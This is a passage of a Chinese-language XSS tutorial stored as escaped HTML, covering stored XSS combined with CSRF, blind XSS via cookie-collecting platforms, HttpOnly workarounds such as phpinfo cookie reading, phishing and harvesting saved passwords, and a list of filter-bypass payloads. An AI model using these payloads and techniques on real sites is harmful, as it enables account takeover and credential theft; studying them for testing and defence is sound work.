9\u5173\u952e\u4fe1\u606f\u3002<\/p>\n<h5><span class=\"ez-toc-section\" id=\"xss%e8%8e%b7%e5%8f%96%e7%94%a8%e6%88%b7%e4%bf%a1%e6%81%af\"><\/span>XSS\u83b7\u53d6\u7528\u6237\u4fe1\u606f<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>\u5229\u7528xss\u9664\u4e86\u80fd\u591f\u83b7\u53d6\u7528\u6237cookie\uff0c\u8fd8\u80fd\u83b7\u53d6\u8bf8\u5982\u6d4f\u89c8\u5668\u7248\u672c\u3001\u5916\u7f51IP\u5730\u5740\u3001\u6d4f\u89c8\u5668\u5b89\u88c5\u7684\u63d2\u4ef6\u7c7b\u578b\u7b49\u4fe1\u606f\u3002\u6bd4\u5982alert(navigator.userAgent); \u80fd\u591f\u8bfb\u53d6userAgent\u5185\u5bb9\uff1b\u5229\u7528java\u73af\u5883\uff0c\u8c03\u7528java Applet\u7684\u63a5\u53e3\u83b7\u53d6\u5ba2\u6237\u7aef\u672c\u5730ip\u7b49\u3002<\/p>\n<h5><span class=\"ez-toc-section\" id=\"xsscsrf-%e7%bb%84%e5%90%88%e6%8b%b3\"><\/span>XSS+CSRF \u7ec4\u5408\u62f3<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>\u7ec4\u5408\u62f3\u601d\u8def<\/p>\n<blockquote>\n<p>\u5b58\u50a8\u578b XSS + CSRF\uff08\u5b58\u50a8\u578b XSS \u653b\u51fb\u4ee3\u7801\u4e2d\u52a0\u5165 CSRF \u4ee3\u7801\u94fe\u63a5\uff09<\/p>\n<\/blockquote>\n<p><strong>\u5b58\u50a8\u578bXSS + CSRF<\/strong><\/p>\n<p>\u5176\u4e2d\u5b58\u50a8\u578bxss payload\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;script src=&quot;x&quot; onerror=javascript:window.open(&quot;http:\/\/localhost\/csrf.html&quot;)&gt;&lt;\/script&gt;<\/code><\/pre>\n<p>\u53ef\u77e5\u8be5javascript\u811a\u672c\u4f1a\u6253\u5f00<code>http:\/\/localhost\/csrf.html<\/code>\u7684\u7a97\u53e3\u3002\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7csrf\u5229\u7528\u5de5\u5177\u751f\u6210\u9690\u533f\u7684\u6076\u610fcsrf.html\u6587\u4ef6\uff0c\u518d\u901a\u8fc7\u5b58\u50a8\u578bxss\u6a21\u62df\u7528\u6237\u8bbf\u95ee\u8be5\u9875\u9762\uff0c\u6700\u7ec8\u8fbe\u6210\u5728\u7528\u6237\u4e0d\u77e5\u4e0d\u89c9\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u8de8\u7ad9\u8bf7\u6c42\u7684\u64cd\u4f5c\u3002<\/p>\n<h5><span class=\"ez-toc-section\" id=\"%e7%9b%b2%e6%89%93xssblind-xss\"><\/span>\u76f2\u6253XSS(Blind XSS)<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<h6><span class=\"ez-toc-section\" id=\"%e6%88%90%e5%9b%a0\"><\/span>\u6210\u56e0<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u5e38\u89c4\u7684XSS\u653b\u51fb\u662f\u901a\u8fc7\u9875\u9762\u8fd4\u56de\u5185\u5bb9\u4e2dJS\u653b\u51fb\u4ee3\u7801\u7684\u751f\u6548\u4e0e\u5426\u6765\u5224\u65adXSS\u7684\u653b\u51fb\u662f\u5426\u6210\u529f\uff1b\u800c\u5bf9\u4e8e\u4e00\u4e9b\u7f51\u9875\u529f\u80fd\uff0c\u6bd4\u5982\u53cd\u9988\uff0c\u6211\u4eec\u53ef\u4ee5\u53d1\u73b0\uff0c\u4e0d\u7ba1\u4f60\u63d0\u4ea4\u4ec0\u4e48\u5185\u5bb9\uff0c\u8fd4\u56de\u7684\u5185\u5bb9\u90fd\u662f\u201d\u611f\u8c22\u60a8\u7684\u53cd\u9988\u201d\u7c7b\u4f3c\u7684\u8bed\u53e5\uff0c\u5e76\u4e0d\u4f1a\u6839\u636e\u4f60\u63d0\u4ea4\u7684\u5185\u5bb9\u800c\u5728\u9875\u9762\u4e2d\u663e\u793a\u4e0d\u540c\u7684\u5185\u5bb9\uff0c\u5bf9\u4e8e\u8fd9\u6837\u7684\u5185\u5bb9\u63d0\u4ea4\u70b9\uff0c\u5c31\u65e0\u6cd5\u901a\u8fc7\u9875\u9762\u53cd\u9988\u5224\u65ad\u653b\u51fb\u4ee3\u7801\u662f\u5426\u6ce8\u5165\u6210\u529f\uff0c\u90a3\u4e48\u5c31\u53ef\u4ee5\u901a\u8fc7XSS\u76f2\u6253\u3002<\/p>\n<p>Blind XSS \u662f\u4e00\u79cd\u6301\u4e45\u578b\u7684XSS\uff0c\u4f9d\u9760\u76ee\u6807web\u9875\u9762\u7684\u4ee3\u7801\u4e2d\u7684\u6f0f\u6d1e\uff0c\u5141\u8bb8\u6076\u610f\u4ee3\u7801\u63d2\u5165\u5230web\u63a7\u4ef6\u4e2d\uff0c\u88ab\u670d\u52a1\u5668\u5b58\u50a8\u5230\u6570\u636e\u5e93\u6216\u8005\u7f51\u7ad9\u8bbe\u7f6e\u6587\u4ef6\u4e2d\u3002\u8fd9\u4e9b\u6076\u610f\u4ee3\u7801\u5c06\u88ab\u4f5c\u4e3aHTML\u54cd\u5e94\u9875\u9762\u7684\u4e00\u90e8\u5206\u5411\u5176\u4ed6\u7528\u6237\u63d0\u4f9b\u670d\u52a1\uff0c\u800c\u4e0d\u4f1a\u88ab\u68c0\u6d4b\u3002<\/p>\n<h6><span class=\"ez-toc-section\" id=\"%e5%b8%b8%e8%a7%81%e5%9c%ba%e6%99%af\"><\/span>\u5e38\u89c1\u573a\u666f<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>\u76f2\u6253XSS\u7684<strong>\u5e38\u89c1\u76ee\u6807<\/strong>\uff1a\u767b\u5f55\u8868\u5355\u53ca\u8bba\u575b\/\u7559\u8a00\u677f<\/p>\n<p>\u767b\u5f55\u8868\u5355\u7ecf\u5e38\u4ece\u7f51\u9875\u63a5\u6536\u8f93\u5165\u7684\u7528\u6237\u540d\uff0c\u5e76\u5c06\u5b83\u4fdd\u5b58\u5230\u4e00\u4e2a\u4e4b\u540e\u53ef\u4ee5\u88ab\u67e5\u770b\u7684\u65e5\u5fd7\u6587\u4ef6\u4e2d\u3002\u56e0\u6b64\uff0c\u4e00\u6b21\u5728\u767b\u5f55\u8868\u5355\u7684\u201c\u7528\u6237\u540d\u201d\u6a21\u5757\u8f93\u5165\u6076\u610f\u4ee3\u7801\u540e\u7684\u5931\u8d25\u7684\u767b\u5f55\uff0c\u5c06\u4f1a\u5bfc\u81f4\u670d\u52a1\u5668\u5c06\u8f93\u5165\u4fdd\u5b58\u5230\u65e5\u5fd7\u4e2d\uff0c\u8fd9\u6837\u65e5\u5fd7\u4e2d\u5c31\u5c06\u6076\u610f\u4ee3\u7801\u5f53\u505a\u201c\u7528\u6237\u540d\u201d\u4fdd\u5b58\u3002\u653b\u51fb\u8005\u53ef\u4ee5\u6267\u884c\u4e00\u4e9b\u8fd9\u6837\u7684\u767b\u5f55\u5c1d\u8bd5\uff0c\u4e3a\u4e86\u5c06\u6076\u610f\u4ee3\u7801\u4f20\u5165\u5230\u65e5\u5fd7\u6570\u636e\u5e93\u4e2d\u6216\u65e5\u5fd7\u6587\u4ef6\u4e2d\u3002\u5f53\u7ba1\u7406\u5458\u901a\u8fc7web\u7684\u5f62\u5f0f\u6d4f\u89c8\u65e5\u5fd7\u65f6\uff0c\u6076\u610f\u4ee3\u7801\u5c31\u4f1a\u88ab\u6267\u884c\u3002<\/p>\n<p>\u7c7b\u4f3c\u4e8e\u4e4b\u524d\u7684\u573a\u666f\uff0c\u653b\u51fb\u8005\u4e5f\u53ef\u4ee5\u5728\u8bba\u575b\u6216\u7559\u8a00\u677f\u7684\u4e3b\u9898\u6807\u9898\u4e2d\u63d2\u5165\u6076\u610f\u4ee3\u7801\u3002\u670d\u52a1\u5668\u901a\u5e38\u4f1a\u5c06\u5b83\u4eec\u63d0\u4ea4\u7684\u6570\u636e\u4fdd\u5b58\u5230\u6570\u636e\u5e93\u4e2d\uff0c\u5e76\u4e14\u5b58\u50a8\u7684\u4fe1\u606f\u5bf9\u5176\u4ed6\u4eba\u53ef\u89c1\uff0c\u6bd4\u5982\u7248\u4e3b\u7b49\u3002<\/p>\n<h6><span class=\"ez-toc-section\" id=\"%e5%88%a9%e7%94%a8\"><\/span>\u5229\u7528<span class=\"ez-toc-section-end\"><\/span><\/h6>\n<p>XSS\u76f2\u6253\u4e00\u822c\u901a\u8fc7XSS\u76f2\u6253\u5e73\u53f0\uff0c\u5728XSS\u76f2\u6253\u5e73\u53f0\u5efa\u7acb\u9879\u76ee\uff0c\u4f1a\u751f\u6210\u9879\u76ee\u653b\u51fb\u94fe\u63a5\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u4e00\u4e2a\u7c7b\u4f3cJS\u6587\u4ef6\u7684\u8bbf\u95ee\u94fe\u63a5\uff0c\u8fd9\u4e2aJS\u6587\u4ef6\u4e2d\u5176\u4e2d\u81f3\u5c11\u5305\u542b\u4e00\u4e2a\u529f\u80fd\uff0c\u90a3\u5c31\u662f\u5411\u76f2\u6253\u5e73\u53f0\u53d1\u9001GET\/POST\u8bf7\u6c42\u4f20\u8f93\u6570\u636e\u56de\u6765\uff0c\u6bd4\u5982Cookie\uff0c\u8fd9\u6837\u7684\u8bdd\uff0c\u7c7b\u4f3c\u5728\u53cd\u9988\u9875\u9762\u63d0\u4ea4\u7684\u653b\u51fb\u4ee3\u7801\u4e00\u65e6\u751f\u6548\uff0c\u5c31\u7b49\u4e8eJS\u4ee3\u7801\u88ab\u6267\u884c\uff0c\u90a3\u4e48\u5c31\u4f1a\u5411\u76f2\u6253\u5e73\u53f0\u8fd4\u56de\u6570\u636e\uff0c\u90a3\u5c31\u8bf4\u660e\u653b\u51fb\u6210\u529f\u4e86\uff1b\u5047\u5982\u4e00\u76f4\u6ca1\u6709\u8fd4\u56de\u6570\u636e\uff0c\u90a3\u5c31\u8bf4\u660e\u63d0\u4ea4\u7684\u653b\u51fb\u4ee3\u7801\u6ca1\u6709\u6267\u884c\u6216\u8005\u6267\u884c\u51fa\u95ee\u9898\uff0c\u4e5f\u5c31\u8bc1\u660e\u653b\u51fb\u5931\u8d25\u3002<\/p>\n<p>\u76f2\u6253\u5e73\u53f0\u7684\u9879\u76ee\uff1a<\/p>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/6508\/605a8634eba171bd3c220c96c4e737e7_77325.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe12\" \/><\/p>\n<h5><span class=\"ez-toc-section\" id=\"%e5%bc%80%e5%90%afhttponly%e4%b8%8b%e7%9a%84%e5%88%a9%e7%94%a8\"><\/span>\u5f00\u542fHttpOnly\u4e0b\u7684\u5229\u7528<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p><strong>HttpOnly\u6982\u5ff5<\/strong>\uff1aHttpOnly\u662fSet-Cookie HTTP\u54cd\u5e94\u5934\u4e2d\u5305\u542b\u7684\u9644\u52a0\u6807\u5fd7\u3002\u751f\u6210cookie\u65f6\u4f7f\u7528HttpOnly\u6807\u5fd7\u6709\u52a9\u4e8e\u964d\u4f4e\u5ba2\u6237\u7aef\u811a\u672c\u8bbf\u95ee\u53d7\u4fdd\u62a4cookie\u7684\u98ce\u9669\uff08\u5982\u679c\u6d4f\u89c8\u5668\u652f\u6301\u5b83\uff09\u3002\u5982\u679cHTTP\u54cd\u5e94\u5934\u4e2d\u5305\u542bHttpOnly\u6807\u5fd7\uff0c\u5ba2\u6237\u7aef\u811a\u672c\u5c31\u65e0\u6cd5\u8bbf\u95eecookie\u3002\u56e0\u6b64\uff0c\u5373\u4f7f\u5b58\u5728\u8de8\u7ad9\u70b9\u811a\u672c\uff08XSS\uff09\u7f3a\u9677\uff0c\u4e14\u7528\u6237\u610f\u5916\u8bbf\u95ee\u5229\u7528\u6b64\u6f0f\u6d1e\u7684\u94fe\u63a5\uff0c\u6d4f\u89c8\u5668\u4e5f\u4e0d\u4f1a\u5411\u7b2c\u4e09\u65b9\u900f\u9732cookie\u3002\u90a3\u4e48\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7XSS\u76f4\u63a5\u5728\u6e90\u7ad9\u4e0a\u5b8c\u6210\u64cd\u4f5c\uff0c\u4e0d\u76f4\u63a5\u83b7\u53d6cookie\u3002<\/p>\n<p>1.phpinfo\u9875<\/p>\n<p>\u4f2a\u9020\u5bf9\u65b9\u8eab\u4efd\u8bbf\u95ee\u540c\u7ad9\u7684phpinfo\u9875\u9762\uff0c\u56e0\u4e3a\u540c\u57df\u6240\u4ee5\u901a\u8fc7ajax\u63d0\u4ea4\u8bbf\u95ee\u53ef\u4ee5\u8bfb\u53d6\u5230responseText\uff0c\u5176\u4e2d$_SERVER[\u201cHTTP_COOKIE\u201d]\u4f1a\u6253\u5370\u51fa\u5177\u6709httponly\u5c5e\u6027\u7684cookies\u3002<\/p>\n<p>\u4f18\u70b9\uff1a\u6210\u529f\u7387\u5f88\u9ad8\uff0c\u6700\u4e0d\u5bb9\u6613\u88ab\u5bdf\u89c9\uff0c\u4e5f\u662f\u6700\u5e38\u7528\u7684\u4e00\u79cd\u65b9\u5f0f\u3002<\/p>\n<p>\u7f3a\u70b9\uff1a\u9700\u8981phpinfo\u9875\uff0c\u6761\u4ef6\u82db\u523b\u3002<\/p>\n<p>2.\u6846\u67b6\u9493\u9c7c<\/p>\n<p>\u901a\u8fc7<code>&lt;iframe&gt;<\/code>\u6807\u7b7e\u5d4c\u5165\u4e00\u4e2a\u8fdc\u7a0b\u57df\uff0c\u5b8c\u5168\u6491\u5f00\u540e\uff0c\u4ee5\u8986\u76d6\u539f\u6709\u7684\u9875\u9762\u3002<\/p>\n<p>\u4f18\u70b9\uff1a\u65e0\u8df3\u8f6c\uff0c\u57df\u540d\u65e0\u6539\u53d8\u3002<\/p>\n<p>\u7f3a\u70b9\uff1a\u901a\u5e38\u4f1a\u8986\u76d6\u67d0\u4e2a\u6b63\u5e38\u7684\u9875\u9762\uff0c\u7ba1\u7406\u5458\u6613\u5bdf\u89c9\u3002<\/p>\n<p>3.\u8df3\u8f6c\u9493\u9c7c<\/p>\n<p>\u901a\u8fc7\u8d2d\u4e70\u76f8\u4f3c\u57df\u540d\uff0c\u6784\u5efa\u76f8\u540c\u7684\u9493\u9c7c\u9875\u9762\uff0c\u4f7f\u53d7\u5bb3\u8005\u8df3\u8f6c\u81f3\u9493\u9c7c\u7ad9\u3002<\/p>\n<p>\u4f18\u70b9\uff1a\u4e3b\u52a8\u6027\u8f83\u5f3a\uff0c\u53ef\u4e3b\u52a8\u9493\u9c7c\u3002<\/p>\n<p>\u7f3a\u70b9\uff1a\u6210\u672c\u8f83\u9ad8\uff0c\u4e14\u7531\u4e8e\u9875\u9762\u8df3\u8f6c\u8fc7\u4e8e\u660e\u663e\uff0c\u6240\u4ee5\u6b64\u65b9\u6cd5\u5341\u5206\u5bb9\u6613\u88ab\u53d1\u73b0\u3002<\/p>\n<p>4.\u5386\u53f2\u5bc6\u7801<\/p>\n<p>\u901a\u8fc7js\u4f2a\u9020\u767b\u5f55\u8868\u5355\uff0c\u6b3a\u9a97\u6d4f\u89c8\u5668\u81ea\u52a8\u586b\u5165\uff0c\u7531\u6b64\u83b7\u53d6\u6d4f\u89c8\u5668\u8bb0\u4f4f\u7684\u5386\u53f2\u5bc6\u7801\u3002<\/p>\n<p>\u4f18\u70b9\uff1a\u4e0d\u6613\u88ab\u53d1\u73b0\uff0c\u53ef\u76f4\u63a5\u83b7\u53d6\u660e\u6587\uff0c\u6210\u529f\u7387\u8f83\u9ad8\u3002<\/p>\n<p>\u7f3a\u70b9\uff1a\u5404\u5185\u6838\u6d4f\u89c8\u5668\u517c\u5bb9\u6027\u4e0d\u4e00\uff0c\u6700\u65b0\u7248google\u5df2\u4e0d\u652f\u6301http\u534f\u8bae\u4e0b\u7684\u81ea\u52a8\u586b\u5165\u529f\u80fd\u3002<\/p>\n<p>5.\u83b7\u53d6\u6e90\u7801<\/p>\n<p>\u901a\u8fc7xss\u83b7\u53d6\u540e\u7aef\u9875\u9762\u6e90\u7801\uff0c\u5e38\u5e38\u53ef\u4ee5\u53d1\u73b0\u4e00\u4e9b\u8d8a\u6743\u8bbf\u95ee\uff0c\u6216\u8005\u914d\u5408CSRF\u6253\u7ec4\u5408\u62f3\u53bb\u6dfb\u52a0\u65b0\u7528\u6237\u6216\u8005\u6267\u884c\u5176\u4ed6\u7684\u529f\u80fd\uff0c\u4ee5\u53ca\u901a\u8fc7\u5ba1\u8ba1\u540e\u53f0js\u53d1\u73b0\u4e00\u4e9b\u6f0f\u6d1e\u7b49\u3002<\/p>\n<p>\u4f18\u70b9\uff1a\u4fe1\u606f\u83b7\u53d6\u7684\u6bd4\u8f83\u8be6\u7ec6\uff0c\u4e5f\u53ef\u4ee5\u83b7\u53d6\u5230\u540e\u53f0\u8d26\u53f7\u540d\u79f0\u3002<\/p>\n<p>\u7f3a\u70b9\uff1a\u5c40\u9650\u6027\u8f83\u5927\uff0c\u4e0d\u6613\u4e8e\u5229\u7528\u3002<\/p>\n<p>6.\u901a\u8fc7xss\u4f2a\u9020oauth\u7b49\u6388\u6743\u8bf7\u6c42\uff0c\u8fdc\u7a0b\u767b\u5f55<\/p>\n<p>\u63a8\u8350\u9605\u8bfb\uff1a<a href=\"https:\/\/www.anquanke.com\/post\/id\/169317\">sourse<\/a><\/p>\n<p><strong>Oauth\u7b80\u4ecb<\/strong><br \/>\n\u200b Oauth\u8fd9\u79cd\u673a\u5236\u5141\u8bb8\u7b2c\u4e09\u65b9\u83b7\u53d6\u7528\u6237\u8d26\u6237\u7684\u957f\u671f\u8bbf\u95ee\u6743\u9650\uff0c\u4e4b\u524d\u5df2\u7ecf\u6709\u653b\u51fb\u8005\u6ee5\u7528\u8fc7\u8be5\u673a\u5236\uff0c\u8bf1\u9a97\u7528\u6237\u70b9\u51fb\u6388\u6743\u6309\u94ae\u3002 \u6388\u6743\u7b2c\u4e09\u65b9\u5e94\u7528\u540e\uff0c\u7528\u6237\u53ef\u4ee5\u4e3a\u7b2c\u4e09\u65b9\u5e94\u7528\u63d0\u4f9b\u4e00\u4e2a\u957f\u671f\u53ef\u7528\u7684\u4ee4\u724c\uff0c\u7b2c\u4e09\u65b9\u5e94\u7528\u53ef\u4ee5\u901a\u8fc7\u4e0d\u540c\u65b9\u5f0f\uff0c\u5229\u7528\u8be5\u4ee4\u724c\u8bbf\u95ee\u7528\u6237\u8d26\u6237\u3002\u8fd9\u662f\u5728cookie\u53d7\u4fdd\u62a4\u7684\u60c5\u51b5\u4e0b\uff0c\u653b\u51fb\u8005\u80fd\u591f\u957f\u671f\u6709\u6548\u3001\u4e0d\u53d7\u9650\u5236\u3001\u9690\u853d\u5730\u8bbf\u95ee\u53d7\u5bb3\u8005\u8d26\u6237\u7684\u65b9\u6cd5\u3002<\/p>\n<p>\u7531\u4e8e\u6211\u4eec\u80fd\u4ee5\u7528\u6237\u7684\u8eab\u4efd\u6267\u884c\u4e00\u4e9b\u64cd\u4f5c\uff08\u65e0cookie\u60c5\u51b5\u4e0b\uff09\uff0c\u90a3\u4e48\u53ea\u8981Oauth\u7684\u6388\u6743\u9875\u9762\u4e0eXSS\u70b9\u540c\u6e90\uff0c\u90a3\u4e48\u5c31\u80fd\u4ee5\u7528\u6237\u7684\u8eab\u4efd\u5b89\u88c5Oauth\u5e94\u7528\u3002<\/p>\n<h5><span class=\"ez-toc-section\" id=\"%e5%85%b6%e5%ae%83\"><\/span>\u5176\u5b83<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>xss\u7684\u5229\u7528\u65b9\u5f0f\u591a\u79cd\u591a\u6837\uff0c\u8fdc\u4e0d\u6b62\u4ee5\u4e0a\u7684\u51e0\u79cd\uff0c\u6bd4\u65b9\u8bf4\u8fd8\u80fd\u591f\u5229\u7528XSS+CSRF\u7ec4\u5408\u62f3\u6765\u6dfb\u52a0\u7ba1\u7406\u5458\u3001\u5229\u7528html5\u7684canvas\u6765\u622a\u53d6\u5ba2\u6237\u7684\u5c4f\u5e55\uff0c\u8fd8\u6709\u9488\u5bf9\u79fb\u52a8\u7aef\u7684xss\u653b\u51fb\u7b49\u3002\u601d\u8def\u6709\u5f88\u591a\uff0c\u6b64\u5904\u4fbf\u4e0d\u5c55\u5f00\u8ba8\u8bba\u4e86\u3002<\/p>\n<p>\u7f51\u7ad9\u63a8\u8350\uff1a<strong><a href=\"http:\/\/www.xss-payloads.com\/\">http:\/\/www.xss-payloads.com\/<\/a><\/strong><\/p>\n<h4><span class=\"ez-toc-section\" id=\"xss-payload\"><\/span>XSS payload<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<p>\u603b\u7ed3\u518d\u591a\u4e0d\u5982\u7ed9\u4e2agithub\u94fe\u63a5[dog]\uff1a<\/p>\n<p><strong>[PayloadsAllTheThings\/XSS Injection](<a href=\"https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/XSS\">https:\/\/github.com\/swisskyrepo\/PayloadsAllTheThings\/tree\/master\/XSS<\/a> Injection)<\/strong><\/p>\n<p><strong><a href=\"https:\/\/github.com\/payloadbox\/xss-payload-list\">xss-payload-list<\/a><\/strong><\/p>\n<p><strong><a href=\"https:\/\/owasp.org\/www-community\/xss-filter-evasion-cheatsheet\">XSS Filter Evasion Cheat Sheet | OWASP<\/a><\/strong><\/p>\n<p>\u4ee5\u53ca\uff1a<strong><a href=\"https:\/\/www.freebuf.com\/articles\/web\/226719.html\">2020\u5e74\u4ecd\u7136\u6709\u6548\u7684\u4e00\u4e9bXSS Payload<\/a><\/strong><\/p>\n<h4><span class=\"ez-toc-section\" id=\"xss-bypass\"><\/span>XSS Bypass<span class=\"ez-toc-section-end\"><\/span><\/h4>\n<h5><span class=\"ez-toc-section\" id=\"%e5%b8%b8%e8%a7%84%e7%9a%84%e7%bb%95%e8%bf%87\"><\/span>\u5e38\u89c4\u7684\u7ed5\u8fc7<span class=\"ez-toc-section-end\"><\/span><\/h5>\n<p>xss\u7ed5\u8fc7\u9632\u5fa1\u901a\u8fc7\u6784\u9020\u7279\u6b8a\u7684payload\u6765\u8fbe\u6210\u76ee\u6807\uff0c\u65b9\u6cd5\u4e3b\u8981\u6709\u4ee5\u4e0b\u51e0\u79cd\uff1a<\/p>\n<ul>\n<li>\u8f6c\u6362\u5927\u5c0f\u5199<\/li>\n<li>\u5927\u5c0f\u5199\u6df7\u5199<\/li>\n<\/ul>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;ImG sRc=x onerRor=alert(&quot;xss&quot;);&gt;&lt;ImG sRc=x onerRor=alert(&quot;xss&quot;);&gt;<\/code><\/pre>\n<p>\u53cc\u5f15\u53f7\u6539\u5355\u5f15\u53f7<\/p>\n<p>\u4e00\u822c\u7528\u4e8e\u7ed5\u8fc7\u53cc\u5f15\u53f7\u88ab\u8fc7\u6ee4\u7684\u60c5\u51b5<br \/>\n\u793a\u4f8b\u8bed\u53e5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&#039; oninput=alert(1) \/\/<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/e63a08e074fa5735a6f3b2a85f056316_10514.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe13\" \/><\/p>\n<p>\u53cd\u5f15\u53f7\u4ee3\u66ff\u62ec\u53f7<\/p>\n<p>\u5f53\u68c0\u6d4b\u5230alert\u51fd\u6570\u540e\u5e26\u62ec\u53f7\u5c31\u62e6\u622a\u7684\u8bdd\uff0c\u53ef\u4ee5\u7528\u53cd\u5f15\u53f7\u6765\u4ee3\u66ff\u62ec\u53f7\u8fdb\u884c\u7ed5\u8fc7<br \/>\n\u793a\u4f8b\u8bed\u53e5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&#039; oninput=alert`1`<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/3a474786168de526d4a1aeddbe2a0b74_66540.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe14\" \/><\/p>\n<p>\u5229\u7528tostring\u8f6c\u6362<\/p>\n<p>tostring\u7684\u4f5c\u7528\u662f\u628a\u6570\u5b57\u8f6c\u6362\u4e3a\u5b57\u7b26\uff0c\u628a\u4e00\u4e9b\u5173\u952e\u5b57\uff0c\u6bd4\u5982alert\uff0c\u5148\u901a\u8fc7parseInt\u53bb\u8f6c\u6362\u4e3a\u6570\u5b57\uff0c\u5728xss payload\u91cc\u518d\u8f6c\u6362\u4e3a\u5b57\u6bcd<br \/>\nparseInt\u8f6c\u6362\u4ee3\u7801<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;html&gt;&lt;body&gt;&lt;script&gt;document.write(parseInt(&#039;alert&#039;,35));&lt;\/script&gt;&lt;body&gt;&lt;html&gt;<\/code><\/pre>\n<p>\u5f97\u5230\u8f6c\u6362\u540e\u7684\u6570\u5b5715924749\uff0c\u540e\u9762\u53ef\u4ee5\u901a\u8fc7tostring\u518d\u8f6c\u6362\u56de\u6765<br \/>\n\u53ef\u4ee5\u7ed3\u5408top\u4f7f\u7528<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">top[15924749..toString(35)](1);<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/38e3cc87201f1da2d80a4ad092747472_19900.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe15\" \/><\/p>\n<ul>\n<li>\u5f15\u53f7\u6539\u4e3a\/\uff0c\u7528\/\u4ee3\u66ff\u7a7a\u683c<\/li>\n<\/ul>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;img\/src=&quot;x&quot;\/onerror=alert(&quot;xss&quot;);&gt;<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/4cc316dc77dbe1b4618d4e28a99396e0_77796.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe16\" \/><\/p>\n<p>\u7528\u5168\u89d2\u5b57\u7b26<\/p>\n<p>\u5168\u89d2\u5b57\u7b26\u662f\u5b57\u6bcd\u548c\u6570\u5b57\u548c\u6c49\u5b57\u7b49\u5bbd\u4f4d\u7f6e\u7684\u5b57\u7b26\uff0c\u6c49\u5b57\u8f93\u5165\u6cd5\u91cc\u4f1a\u51fa\u73b0\uff0c\u53ef\u4ee5\u5229\u7528\u5168\u89d2\u5b57\u7b26\u6765\u7ed5\u8fc7\u68c0\u6d4b<\/p>\n<p>\u793a\u4f8b\u8bed\u53e5:<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;img\/src=&quot;&quot; one\uff52\uff52or=alert(&quot;xss&quot;);&gt;<\/code><\/pre>\n<ul>\n<li>\u5229\u7528link\u8fdc\u7a0b\u5305\u542bjs\u6587\u4ef6<\/li>\n<\/ul>\n<p><strong>\u5728\u65e0CSP\u7684\u60c5\u51b5\u4e0b\u624d\u53ef\u4ee5<\/strong><\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;link rel=import href=&quot;http:\/\/127.0.0.1\/1.js&quot;&gt;<\/code><\/pre>\n<ul>\n<li>\u5b57\u7b26\u62fc\u63a5<\/li>\n<\/ul>\n<p>a.\u5229\u7528eval<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;img src=&quot;x&quot; onerror=&quot;a=`aler`;b=`t`;c=&#039;(`xss`);&#039;;eval(a+b+c)&quot;&gt;<\/code><\/pre>\n<p>b.\u5229\u7528top<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">&lt;script&gt;top[&quot;al&quot;+&quot;ert&quot;](`xss`);&lt;\/script&gt;<\/code><\/pre>\n<p>\u4f7f\u7528javascript\u4f2a\u534f\u8bae<br \/>\n\u793a\u4f8b\u8bed\u53e5\uff1a<\/p>\n<pre class=\"prettyprint linenums\" ><code class=\"language-html\">oninput=javascript:alert(&#039;1&#039;)<\/code><\/pre>\n<p><img decoding=\"async\" src=\"https:\/\/nc0.cdn.zkaq.cn\/md\/2146\/1e081f0e5d2bfbe18fe78fabdef200f1_54383.png\" alt=\"img\" title=\"\u53f2\u4e0a\u6700\u5168XSS\u53ea\u662f\u603b\u7ed3\u63d2\u56fe17\" \/><br 